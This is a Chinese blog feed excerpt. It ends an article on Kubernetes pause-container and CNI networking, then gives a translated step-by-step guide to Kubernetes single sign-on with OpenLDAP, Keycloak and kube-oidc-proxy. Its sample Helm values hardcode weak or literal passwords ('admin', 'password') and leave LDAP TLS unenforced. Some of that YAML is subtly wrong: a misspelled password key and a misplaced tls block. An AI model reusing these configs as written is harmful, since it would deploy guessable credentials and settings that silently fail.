&lt;p&gt;其次是得到一个说明插件已经完成相应 IP 配置的 JSON 信息。在本例中，网桥的 IP 地址应该是 &lt;code&gt;10.0.10.1/24&lt;/code&gt;，命名空间网络接口的地址则是 &lt;code&gt;10.0.10.2/24&lt;/code&gt;。另外还会根据我们的 JSON 配置文件，加入缺省路由以及 &lt;code&gt;1.1.1.1/32&lt;/code&gt; 路由。检查一下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ ip netns exec pause_demo ifconfig
eth10     Link encap:Ethernet  HWaddr 0a:58:0a:00:0a:02
          inet addr:10.0.10.2  Bcast:0.0.0.0  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:18 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:1476 (1.4 KB)  TX bytes:0 (0.0 B)
lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)
$ ip netns exec pause_demo ip route
default via 10.0.10.1 dev eth10
1.1.1.1 via 10.0.10.1 dev eth10
10.0.10.0/24 dev eth10  proto kernel  scope link  src 10.0.10.2
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;CNI 创建了网桥并根据 JSON 信息进行了相应配置：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ ifconfig
cni_net0  Link encap:Ethernet  HWaddr 0a:58:0a:00:0a:01
          inet addr:10.0.10.1  Bcast:0.0.0.0  Mask:255.255.255.0
          inet6 addr: fe80::c4a4:2dff:fe4b:aa1b/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:7 errors:0 dropped:0 overruns:0 frame:0
          TX packets:20 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:1174 (1.1 KB)  TX bytes:1545 (1.5 KB)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;第六步，启动 Web Server 并共享 &lt;code&gt;pause&lt;/code&gt; 容器命名空间：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ docker run --name web_demo -d --rm --network container:$container_id nginx
8fadcf2925b779de6781b4215534b32231685b8515f998b2a66a3c7e38333e30
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;第七步，使用 &lt;code&gt;pause&lt;/code&gt; 容器的 IP 地址访问 Web Server：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ curl `cat /var/lib/cni/networks/demo_br/last_reserved_ip`
&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;title&amp;gt;Welcome to nginx!&amp;lt;/title&amp;gt;
&amp;lt;style&amp;gt;
    body {
        width: 35em;
        margin: 0 auto;
        font-family: Tahoma, Verdana, Arial, sans-serif;
    }
&amp;lt;/style&amp;gt;
&amp;lt;/head&amp;gt;
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来看看 Pod 的定义。&lt;/p&gt;

&lt;h2 id=&#34;pod-网络命名空间&#34;&gt;Pod 网络命名空间&lt;/h2&gt;

&lt;p&gt;接触 Kubernetes 最应该知道的一个问题就是，Pod 不等于容器，而是一组容器。这一组容器会共享同一个网络栈。每个 Pod 都会包含有 &lt;code&gt;pause&lt;/code&gt; 容器，Kubernetes 通过这个容器来管理 Pod 的网络。所有其他容器都会附着在 &lt;code&gt;pause&lt;/code&gt; 容器的网络命名空间中，而 &lt;code&gt;pause&lt;/code&gt; 除了网络之外，再无其他作用。因此同一个 Pod 中的不同容器，可以通过 &lt;code&gt;localhost&lt;/code&gt; 进行互访：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/8.png&#34; alt=&#34;8&#34; /&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 单点登录详解</title>
      <link>/post/sso-kubernetes-guide/</link>
      <pubDate>Thu, 27 May 2021 15:52:57 +0800</pubDate>
      <guid>/post/sso-kubernetes-guide/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;http://www.talkingquickly.co.uk/kubernetes-sso-a-detailed-guide&#34; target=&#34;_blank&#34;&gt;Kubernetes Single Sign On - A detailed guide&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://twitter.com/talkingquickly&#34; target=&#34;_blank&#34;&gt;Ben Dixon&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;本文中我们将会为 Kuebernetes 构建一个完备的单点登录系统，这个系统会为 &lt;code&gt;kubectl&lt;/code&gt;、Web 应用的 Ingress，以及 Docker 镜像仓库和 Gitea 提供服务，本文中会涉及多数单点登录模型，对于 Gitlab、Kibana、Grafana 等其它应用，应该也是适用的。&lt;/p&gt;

&lt;p&gt;整个方案中使用了以 OpenLDAP 为后端的 KeyCloak 服务。OpenLDAP 能满足 Gitea 的需求，但基于 OIDC 的 kubectl 单点登录之类的功能是不需要它的。&lt;/p&gt;

&lt;p&gt;本文中的一些亮点：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;通过浏览器完成 kubectl 的单点登录；&lt;/li&gt;
&lt;li&gt;用同样简单、但更安全的注解来替换 Ingress 的 Basic 认证注解；&lt;/li&gt;
&lt;li&gt;使用完整的 ACL（访问控制列表）来进行 Docker 容器镜像的推送和拉取。&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;前提条件&#34;&gt;前提条件&lt;/h2&gt;

&lt;p&gt;我们假设你能够使用 Kubectl 访问 Kubernetes 集群（集群中包含 CSI 支持），在其中创建一个名为 &lt;code&gt;identity&lt;/code&gt; 的命名空间。能够使用 Helm 3。最后假设你使用 &lt;a href=&#34;https://kubernetes.github.io/ingress-nginx/&#34; target=&#34;_blank&#34;&gt;Nginx Ingress 控制器&lt;/a&gt;，并包含 Cert Manager 组件，并用 Cert Manager 为集群提供一个称为 &lt;code&gt;letsencrypt-production&lt;/code&gt; 的 SSL 证书签发者。&lt;/p&gt;

&lt;p&gt;如果你的配置不满足上述要求，一些主要步骤应该还是一致的，Ingress 注解可能会有一些不同。本文中涉及的源码位于 &lt;code&gt;https://github.com/TalkingQuickly/kubernetes-sso-guide.git&lt;/code&gt;，可以 Clone 到本地：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;git clone https://github.com/TalkingQuickly/kubernetes-sso-guide.git
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;后续所有命令都认为你的当前目录是上述源码的根目录。&lt;/p&gt;

&lt;h2 id=&#34;部署-openldap&#34;&gt;部署 OpenLDAP&lt;/h2&gt;

&lt;p&gt;因为 &lt;code&gt;stable&lt;/code&gt; Chart 仓库已经淘汰，OpenLDAP 的 Chart 也受到波及。因为还没有更新，本文会使用最近的版本。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;openldap/values-openldap.yml&lt;/code&gt; 中包含了 values 样例，我们可以做一些因地制宜的修改。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;# Default configuration for openldap as environment variables. These get injected directly in the container.
# Use the env variables from https://github.com/osixia/docker-openldap#beginner-guide
env:
  LDAP_ORGANISATION: &amp;quot;Talking Quickly Demo&amp;quot;
  LDAP_DOMAIN: &amp;quot;ssotest.staging.talkingquickly.co.uk&amp;quot;
  LDAP_BACKEND: &amp;quot;hdb&amp;quot;
  LDAP_TLS: &amp;quot;true&amp;quot;
  LDAP_TLS_ENFORCE: &amp;quot;false&amp;quot;
  LDAP_REMOVE_CONFIG_AFTER_SETUP: &amp;quot;true&amp;quot;
  LDAP_READONLY_USER: &amp;quot;true&amp;quot;
  LDAP_READONLY_USER_USERNAME: readonly
  LDAP_READONLY_USER_MASSWORD: password

# Default Passwords to use, stored as a secret. If unset, passwords are auto-generated.
# You can override these at install time with
# helm install openldap --set openldap.adminPassword=&amp;lt;passwd&amp;gt;,openldap.configPassword=&amp;lt;passwd&amp;gt;
adminPassword: admin
configPassword: 9h8sdfg9sdgfjsdfg8sdgsdfjgklsdfg8sdgfhj

customLdifFiles:
  initial-ous.ldif: |-
    dn: ou=People,dc=ssotest,dc=staging,dc=talkingquickly,dc=co,dc=uk
    objectClass: organizationalUnit
    ou: People

    dn: ou=Group,dc=ssotest,dc=staging,dc=talkingquickly,dc=co,dc=uk
    objectClass: organizationalUnit
    ou: Group
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上一节配置中，我使用 &lt;code&gt;dc=ssotest,dc=staging,dc=talkingquickly,dc=co,dc=uk&lt;/code&gt; 作为 Kubernetes 集群的基础域。我们的 LDAP 服务仅对内提供服务，因此不需要映射到 DNS。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;customLdifFiles&lt;/code&gt; 的内容是用于对 LDAP 数据库进行初始化的。这里提供了两个 &lt;code&gt;organizationalUnit&lt;/code&gt;，类型为 &lt;code&gt;People&lt;/code&gt; 的项目会用于保存个人信息，另外一个类型为 &lt;code&gt;Group&lt;/code&gt; 的则会用于保存群组信息。&lt;code&gt;OU&lt;/code&gt; 可以近似的看做是传统文件系统中的文件夹。&lt;a href=&#34;https://www.theurbanpenguin.com/openldap-ous/&#34; target=&#34;_blank&#34;&gt;OpenLDAP OUs&lt;/a&gt; 一文中详细解释了这方面的内容。&lt;/p&gt;

&lt;p&gt;现在就可以用下面的命令来安装 OpenLDAP 了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;helm upgrade --install openldap ./charts/openldap --values openldap/values-openldap.yml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;安装过程中会输出一些成功信息，以及访问该服务的示例。&lt;/p&gt;

&lt;p&gt;注意下面几个用于获取配置和密码的命令：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;kubectl get secret --namespace identity openldap -o jsonpath=&amp;quot;{.data.LDAP_ADMIN_PASSWORD}&amp;quot; | base64 --decode; echo
kubectl get secret --namespace identity openldap -o jsonpath=&amp;quot;{.data.LDAP_CONFIG_PASSWORD}&amp;quot; | base64 --decode; echo
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;使用-openldap-客户端&#34;&gt;使用 OpenLDAP 客户端&lt;/h3&gt;

&lt;p&gt;我们最后会使用 KeyCloak 来管理 LDAP 目录，在那之前可以熟悉一下 OpenLDAP 客户端。&lt;a href=&#34;https://www.splunk.com/en_us/blog/tips-and-tricks/ldapsearch-is-your-friend.html&#34; target=&#34;_blank&#34;&gt;Splunk 有文章介绍了这个客户端&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;首先用 &lt;code&gt;kubectl proxy&lt;/code&gt; 来开放 LDAP 服务：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;kubectl port-forward --namespace identity \
      $(kubectl get pods -n identity --selector=&#39;release=openldap&#39; -o jsonpath=&#39;{.items[0].metadata.name}&#39;) \
      3890:389
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在另一个终端里，执行下面的命令（包括 OSX 在内的多数 Unix 系统都安装了 ldapsearch，如果没有的话，就需要进行安装，例如 Debian 发行版就需要安装 &lt;code&gt;ldap-utils&lt;/code&gt;）：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;ldapsearch -x -H ldap://localhost:3890 \
    -b dc=ssotest,dc=staging,dc=talkingquickly,dc=co,dc=uk \
    -D &amp;quot;cn=admin,dc=ssotest,dc=staging,dc=talkingquickly,dc=co,dc=uk&amp;quot; \
    -w password
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;命令会返回如下信息：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;objectClass: organization
o: Talking Quickly&#39;s Demo
dc: k4stest4

# admin, k4stest4.talkingquickly.co.uk
dn: cn=admin,dc=k4stest4,dc=talkingquickly,dc=co,dc=uk
objectClass: simpleSecurityObject
objectClass: organizationalRole
cn: admin
description: LDAP administrator
userPassword:: e1NTSEF9YjM1a0hLYXVwcDlvcGU5R1N2UE5qcFBLd3FxdUorWFk=

# People, k4stest4.talkingquickly.co.uk
dn: ou=People,dc=k4stest4,dc=talkingquickly,dc=co,dc=uk
objectClass: organizationalUnit
ou: People

# Group, k4stest4.talkingquickly.co.uk
dn: ou=Group,dc=k4stest4,dc=talkingquickly,dc=co,dc=uk
objectClass: organizationalUnit
ou: Group

# search result
search: 2
result: 0 Success

# numResponses: 6
# numEntries: 4
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;a href=&#34;https://stackoverflow.com/questions/18756688/what-are-cn-ou-dc-in-an-ldap-search&#34; target=&#34;_blank&#34;&gt;Stack Overflow 上有一篇帖子&lt;/a&gt;描述了 &lt;code&gt;dn&lt;/code&gt;、&lt;code&gt;dc&lt;/code&gt; 这些名词的详情。&lt;/p&gt;

&lt;p&gt;注意我的测试域 &lt;code&gt;ssotest.staging.talkingquickly.co.uk&lt;/code&gt; 的结果是一个 &lt;code&gt;dn&lt;/code&gt;，其中包含了一组逗号分隔的 &lt;code&gt;dc&lt;/code&gt; 列表：&lt;code&gt;dc=ssotest,dc=staging,dc=talkingquickly,dc=co,dc=uk&lt;/code&gt;。这里看到我们 &lt;code&gt;customLdiffFiles&lt;/code&gt; 定义的 &lt;code&gt;ou&lt;/code&gt; 已经建立了。&lt;/p&gt;

&lt;p&gt;现在我们已经有了 LDAP 服务器，通过简单的测试，检查了我们保存在服务之中的数据。接下来就可以安装 KeyCloak 了。&lt;/p&gt;

&lt;h2 id=&#34;安装-kyecloak&#34;&gt;安装 KyeCloak&lt;/h2&gt;

&lt;p&gt;Helm 3 提倡使用去中心化的仓库替代原有的仓库，所以在安装 Keycloak 之前要首先加入新的仓库：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;helm repo add codecentric https://codecentric.github.io/helm-charts
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;有兴趣的话还可以看看&lt;a href=&#34;https://github.com/codecentric/helm-charts/tree/master/charts/keycloak&#34; target=&#34;_blank&#34;&gt;这个 Chart 的详细信息&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;为了进行一些基础配置，我们需要配置 Ingress，并启用 Postgres 存储数据。&lt;/p&gt;

&lt;p&gt;这里假设你的集群中包含了 Ingress 和存储支持。我用域名通配符 &lt;code&gt;*.ssotest.staging.talkingquickly.co.uk&lt;/code&gt; 指向测试集群。所以我们的 &lt;code&gt;keycloak/values-keycloak&lt;/code&gt; 看起来是这样的：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;extraEnv: |
  - name: KEYCLOAK_LOGLEVEL
    value: DEBUG
  - name: KEYCLOAK_USER
    value: admin
  - name: KEYCLOAK_PASSWORD
    value: as897gsdfs766dfsgjhsdf
  - name: PROXY_ADDRESS_FORWARDING
    value: &amp;quot;true&amp;quot;

ingress:
  enabled: true
  annotations:
    cert-manager.io/cluster-issuer: letsencrypt-production
  rules:
    - host: sso.ssotest.staging.talkingquickly.co.uk
      paths:
        - /
args:
  - -Dkeycloak.profile.feature.docker=enabled

  tls:
  - hosts:
    - sso.ssotest.staging.talkingquickly.co.uk
    secretName: keycloak-tld-secret

postgresql:
  enabled: true
  postgresqlPassword: asdfaso97sadfjylfasdsf78
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;用如下命令执行安装：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;helm upgrade --install keycloak codecentric/keycloak --values keycloak/values-keycloak.yml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在 &lt;code&gt;values-keycloak.yml&lt;/code&gt; 中使用环境变量 &lt;code&gt;KEYCLOAK_USER&lt;/code&gt; 以及 &lt;code&gt;KEYCLOAK_PASSWORD&lt;/code&gt; 设置了 keycloak 的用户名和密码，我们将会用这个信息来访问 Keycloak 的控制台。&lt;/p&gt;

&lt;p&gt;我们根据前面的 Ingress 设置来浏览控制台页面（例如 &lt;code&gt;https://sso.ssotest.staging.talkingquickly.co.uk&lt;/code&gt;），然后输入用户名密码完成登录。这里可以创建用户和即将使用 Keycloak 进行单点登录的应用程序。&lt;/p&gt;

&lt;p&gt;注意登录管理控制台和服务用户登录是各自独立的。&lt;/p&gt;

&lt;p&gt;在 Keycloak 中我们可以创建多个 &lt;code&gt;realms&lt;/code&gt;，代表不同的认证服务。例如我们可能要给内部系统创建一个 &lt;code&gt;realm&lt;/code&gt;，另外给客户创建独立的 &lt;code&gt;realm&lt;/code&gt;。缺省 &lt;code&gt;realm&lt;/code&gt; 命名为 &lt;code&gt;master&lt;/code&gt;，根据前面的 Ingress 定义，用户可以访问 &lt;code&gt;https://sso.ssotest.staging.talkingquickly.co.uk/auth/realms/master/account&lt;/code&gt; 进行登录。访问 &lt;code&gt;https://sso.ssotest.staging.talkingquickly.co.uk/auth/realms/master&lt;/code&gt; 能够获取该 &lt;code&gt;realm&lt;/code&gt; 的有用信息。&lt;/p&gt;

&lt;p&gt;这里有一个容易混淆的环节就是使用管理员凭据而非在特定 &lt;code&gt;realm&lt;/code&gt; 中创建的普通用户的凭据进行登录。&lt;/p&gt;

&lt;h2 id=&#34;kubernetes-中的-keycloak-和-openldap&#34;&gt;Kubernetes 中的 Keycloak 和 OpenLDAP&lt;/h2&gt;

&lt;p&gt;完成了 Keycloak 和 OpenLDAP 的部署之后，可以进行进一步的配置，把两个系统连接起来，让 Keycloak 使用 OpenLDAP 存储用户数据。&lt;/p&gt;

&lt;h3 id=&#34;在-keycloak-中配置-openldap&#34;&gt;在 Keycloak 中配置 OpenLDAP&lt;/h3&gt;

&lt;p&gt;用管理用户登录到 Keycloak 控制台，进入 &lt;code&gt;User Federation&lt;/code&gt; 从 &lt;code&gt;Add Provider&lt;/code&gt; 下拉列表中选择 &lt;code&gt;ldap&lt;/code&gt;。按照如下数值填写关键字段：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Edit Mode&lt;/strong&gt;: Writable&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sync Registrations&lt;/strong&gt;: On&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vendor&lt;/strong&gt;: Other&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Connection URL&lt;/strong&gt;: ldap://openldap.identity.svc.cluster.local; you&amp;rsquo;ll need to change identity to match the namespace you&amp;rsquo;re working in)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Users DN&lt;/strong&gt;: ou=People,dc=ssotest,dc=staging,dc=talkingquickly,dc=co,dc=uk; you&amp;rsquo;ll need to change the dc entries to match your base dn. Note that here we&amp;rsquo;re telling Keycloak that users are stored in our People ou, created from the customLdiffFiles.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Authentication Type&lt;/strong&gt;: simple&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bind DN&lt;/strong&gt;: cn=admin,dc=ssotest,dc=staging,dc=talkingquickly,dc=co,dc=uk again, updating the dc entries to match your base dn&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bind Credentials&lt;/strong&gt;: Set this to the admin password we used for ldapsearch earlier&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;填写完成后保存数据。这个配置数据和缺省数据稍有不同，需要确认 &lt;code&gt;memberOf&lt;/code&gt; 属性是否正常工作。在这方面，Github 上有一个很长的 &lt;a href=&#34;https://github.com/osixia/docker-openldap/issues/304&#34; target=&#34;_blank&#34;&gt;Issue&lt;/a&gt;。有些应用需要这个功能来根据分组来进行访问控制。&lt;/p&gt;

&lt;p&gt;可以用 &lt;code&gt;ldapsearch&lt;/code&gt; 验证 &lt;code&gt;memberOf&lt;/code&gt; 是否正常工作，我们需要&lt;a href=&#34;https://docs.oracle.com/cd/E19623-01/820-6169/searching-for-special-entries-and-attributes.html&#34; target=&#34;_blank&#34;&gt;使用搜索操作符&lt;/a&gt;来进行搜索：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;ldapsearch -x -H ldap://localhost:3890 -b dc=ssotest,dc=staging,dc=talkingquickly,dc=co,dc=uk -D &amp;quot;cn=admin,dc=ssotest,dc=staging,dc=talkingquickly,dc=co,dc=uk&amp;quot; &amp;quot;+&amp;quot; -w password
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;要在本地运行这个命令，需要在本地进行流量转发：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;kubectl port-forward --namespace identity \
      $(kubectl get pods -n identity --selector=&#39;release=openldap&#39; -o jsonpath=&#39;{.items[0].metadata.name}&#39;) \
      3890:389
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;用户管理和测试&#34;&gt;用户管理和测试&lt;/h3&gt;

&lt;p&gt;点击 Keycloak 管理门户左侧的 &lt;code&gt;Users&lt;/code&gt;，选择 &lt;code&gt;Add User&lt;/code&gt;。填写并保存用户数据之后，就可以用 &lt;code&gt;ldapsearch&lt;/code&gt; 来检查用户是否已经成功创建。可以用端口转发的方式来进行验证：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;kubectl port-forward --namespace identity \
      $(kubectl get pods -n identity --selector=&#39;release=openldap&#39; -o jsonpath=&#39;{.items[0].metadata.name}&#39;) \
      3890:389
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后进行搜索：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;ldapsearch -x -H ldap://localhost:3890 -b dc=ssotest,dc=staging,dc=talkingquickly,dc=co,dc=uk -D &amp;quot;cn=admin,dc=ssotest,dc=staging,dc=talkingquickly,dc=co,dc=uk&amp;quot; &amp;quot;+&amp;quot; -w password
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里应该用真实密码代替此处的 &lt;code&gt;password&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;输出内容中应该能看到如下内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;# talkingquickly, People, ssotest.staging.talkingquickly.co.uk
dn: uid=talkingquickly1,ou=People,dc=ssotest,dc=staging,dc=talkingquickly,dc=co,dc=uk
uid: talkingquickly1
objectClass: inetOrgPerson
objectClass: organizationalPerson
mail: ben+1@hillsbede.co.uk
sn: Dixon
cn: Ben
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这表明用户已经成功建立。接下来配置一下用户组。我们浏览 &lt;code&gt;Groups&lt;/code&gt; 页面，加入一个 &lt;code&gt;Administrator&lt;/code&gt; 组，重新运行 &lt;code&gt;ldapsearch&lt;/code&gt; 命令，我们不会看到任何变化，群组没有出现。&lt;/p&gt;

&lt;p&gt;返回 &lt;code&gt;Users&lt;/code&gt; 页，选择或者新建一个用户，并进入 &lt;code&gt;Groups&lt;/code&gt; 页面把用户加入群组。回到 &lt;code&gt;Users&lt;/code&gt;，会看到一个空列表，必须选择 &lt;code&gt;View all users&lt;/code&gt; 才能看到用户信息。&lt;/p&gt;

&lt;p&gt;完成这些动作之后，重新运行 &lt;code&gt;ldapsearch&lt;/code&gt;，会看到类似下面的内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;# Administrators, Group, k4stest4.talkingquickly.co.uk
dn: cn=Administrators,ou=Group,dc=k4stest4,dc=talkingquickly,dc=co,dc=uk
objectClass: groupOfNames
cn: Administrators
member: cn=empty-membership-placeholder
member: uid=talkingquickly,ou=People,dc=k4stest4,dc=talkingquickly,dc=co,dc=uk
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这些输出表示我们的群组已经建立，并且已经有用户成为群组的成员。&lt;/p&gt;

&lt;p&gt;如果我们查看一下我们的用户条目，点击 &lt;code&gt;+&lt;/code&gt;，会看到包含一行内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;memberOf: cn=Administrators,ou=Group,dc=ssotest,dc=staging,dc=talkingquickly,dc=co,dc=uk
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;说明 &lt;code&gt;memberOf&lt;/code&gt; 功能正常。&lt;/p&gt;

&lt;p&gt;本文不会涉及更多 &lt;code&gt;ldapsearch&lt;/code&gt; 的内容，&lt;a href=&#34;https://docs.oracle.com/cd/E19450-01/820-6169/ldapsearch-examples.html&#34; target=&#34;_blank&#34;&gt;ldapsearch Examples&lt;/a&gt; 中包含了很多的详细用例。&lt;/p&gt;

&lt;h2 id=&#34;用-oidc-登录-kubernetes&#34;&gt;用 OIDC 登录 Kubernetes&lt;/h2&gt;

&lt;p&gt;使用 Kubernetes 集群的团队要面临的一个常见痛点就是管理连接集群的配置文件。一般的解决办法，要么是使用 KUBECONFIG 环境变量指定配置文件，其中包含了硬编码的凭据；要么就是使用自定义脚本来包装 AWS 或者 GCP 的客户端。&lt;/p&gt;

&lt;p&gt;本节中我们会把 Kubernetes 和 Keycloak 集成起来，这样在我们执行 &lt;code&gt;kubectl&lt;/code&gt; 或者 &lt;code&gt;helm&lt;/code&gt; 命令的时候，如果用户没能完成认证，就会打开浏览器窗口进行登录，这样就无需使用 KUBECONFIG 变量了。&lt;/p&gt;

&lt;p&gt;我们也会配置基于群组的访问控制，所以我们可以创建一个 &lt;code&gt;KubernetesAdminstrators&lt;/code&gt; 组，从而让组中所有用户具备 &lt;code&gt;cluster-admin&lt;/code&gt; 权限。&lt;/p&gt;

&lt;p&gt;如果我们在 Keycloak 中移除用户（或者从特定组中移除用户），对应用户就会失去权限。&lt;/p&gt;

&lt;p&gt;我们会使用 OpenID Connect。&lt;a href=&#34;https://kubernetes.io/docs/reference/access-authn-authz/authentication/#openid-connect-tokens&#34; target=&#34;_blank&#34;&gt;官网文档&lt;/a&gt;中介绍了这一特性的原理。&lt;/p&gt;

&lt;p&gt;缺省情况下，要给 Kubernetes 加入 OIDC 认证配置，需要修改 API Server 的参数。只有一些托管 Kubernetes 产品（例如 AWS 和 GCP）提供了这种手段，用于连接它们各自的 IAM 系统。&lt;/p&gt;

&lt;p&gt;我们将使用来自 JetStack 的 &lt;a href=&#34;https://github.com/jetstack/kube-oidc-proxy&#34; target=&#34;_blank&#34;&gt;kube-oidc-proxy&lt;/a&gt; 来解决这个问题。这个工具提供一个代理服务器来管理 OIDC 认证，用户连接到这个代理服务器时，服务会给通过认证的用户提供所需的权限。这种方法是通用的，也就是说我们可以用同样的方法来管理所有的托管和非托管集群。&lt;/p&gt;

&lt;h3 id=&#34;设置-keycloak&#34;&gt;设置 Keycloak&lt;/h3&gt;

&lt;p&gt;首先我们要在 Keycloak 中创建一个新客户端，其 ID 为 &lt;code&gt;kube-oidc-proxy&lt;/code&gt;，协议为 &lt;code&gt;openid-connect&lt;/code&gt;，并且设置该客户端的参数：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Access Type&lt;/strong&gt;：&lt;code&gt;confidential&lt;/code&gt;，这需要生成一个应用 Secret。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Valid Redirect URLs&lt;/strong&gt;：&lt;code&gt;http://localhost:8000&lt;/code&gt; 和 &lt;code&gt;http://localhost:18000&lt;/code&gt;。&lt;a href=&#34;https://github.com/int128/kubelogin&#34; target=&#34;_blank&#34;&gt;kubelogin&lt;/a&gt; 会使用这些网址作为回调，在 &lt;code&gt;kubectl&lt;/code&gt; 进行登录时，就会打开浏览器窗口进行 Keycloak 进行认证。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;保存新应用，就会出现一个新的 &lt;code&gt;Credentials&lt;/code&gt; 标签，需要在这个标签里生成客户端 Secret，这个 Secret 将会在后续步骤中和 Client ID 一起使用。&lt;/p&gt;

&lt;h3 id=&#34;设置-kube-oidc-proxy&#34;&gt;设置 Kube OIDC Proxy&lt;/h3&gt;

&lt;p&gt;客户端创建之后，就要配置 Kube OIDC Proxy 了。在 &lt;code&gt;kube-oidc-proxy/values-kube-oidc.yml&lt;/code&gt; 包含一个样本：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;oidc:
  clientId: kube-oidc-proxy
  issuerUrl: https://sso.ssotest.staging.talkingquickly.co.uk/auth/realms/master
  usernameClaim: sub

extraArgs:
  v: 10

ingress:
  enabled: true
  annotations:
    cert-manager.io/cluster-issuer: letsencrypt-production
    nginx.ingress.kubernetes.io/backend-protocol: HTTPS
  hosts:
    - host: kube.ssotest.staging.talkingquickly.co.uk
      paths:
        - /
  tls:
    - secretName: oidc-proxy-tls
      hosts:
        - kube.ssotest.staging.talkingquickly.co.uk
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;有几个需要进行定制的点：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;issuerUrl&lt;/code&gt;：Keycloak 的实例地址，其中包含了 &lt;code&gt;realm&lt;/code&gt; 信息（这里我们使用的是缺省的 master realm）。&lt;/li&gt;
&lt;li&gt;Ingress 定义的主机名。这个 URL 会用来替代 Kubernetes API 的 URL，我们的 SSO 登录设置完毕之后，Kubeconfig 文件会指向这个地址而非原有的 Kubernetes API。&lt;/li&gt;
&lt;/ul&gt;

